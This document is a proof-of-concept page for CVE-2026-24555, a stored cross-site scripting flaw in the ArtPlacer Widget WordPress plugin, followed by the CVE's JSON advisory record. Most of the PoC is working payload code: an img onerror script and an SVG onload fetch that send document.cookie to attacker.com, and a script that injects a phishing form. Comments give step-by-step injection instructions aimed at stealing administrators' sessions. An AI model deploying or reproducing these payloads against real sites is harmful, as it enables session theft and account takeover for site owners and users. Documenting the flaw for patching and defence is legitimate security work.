CVE-2026-24555

<!-- CVE-2026-24555 ArtPlacer Widget Stored XSS PoC --> <!-- Author: Security Research --> <!-- Description: Stored XSS in ArtPlacer Widget WordPress Plugin --> <!-- Step 1: Login to WordPress with low-privilege account (subscriber/contributor) --> <!-- Step 2: Navigate to ArtPlacer Widget settings or any input field --> <!-- Step 3: Inject the following XSS payload in any text input field --> <img src=x onerror=" var cookie=document.cookie; var xhr=new XMLHttpRequest(); xhr.open('POST','https://attacker.com/steal',true); xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xhr.send('cookie='+encodeURIComponent(cookie)); "> <!-- Alternative payload using SVG tag --> <svg onload=fetch('https://attacker.com/log?c='+document.cookie)> <!-- Payload that creates a fake login form --> <div id='xss'></div> <script> document.getElementById('xss').innerHTML='<form action=https://attacker.com/phish><input name=u value='+document.cookie+'></form>'; </script> <!-- Impact: When admin or editor visits the page, the script executes and steals session cookies --> <!-- This can lead to account takeover if the cookie is valid --> <!-- Remediation: Upgrade to version > 2.23.2 and apply input sanitization -->

{"cve": {"id": "CVE-2026-24555", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:12.210", "lastModified": "2026-04-28T15:16:13.530", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in artplacer ArtPlacer Widget artplacer-widget allows Stored XSS.This issue affects ArtPlacer Widget: from n/a through <= 2.23.2."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en artplacer ArtPlacer Widget artplacer-widget permite XSS Almacenado. Este problema afecta a ArtPlacer Widget: desde n/a hasta &lt;= 2.23.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/artplacer-widget/vulnerability/wordpress-artplacer-widget-plugin-2-23-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}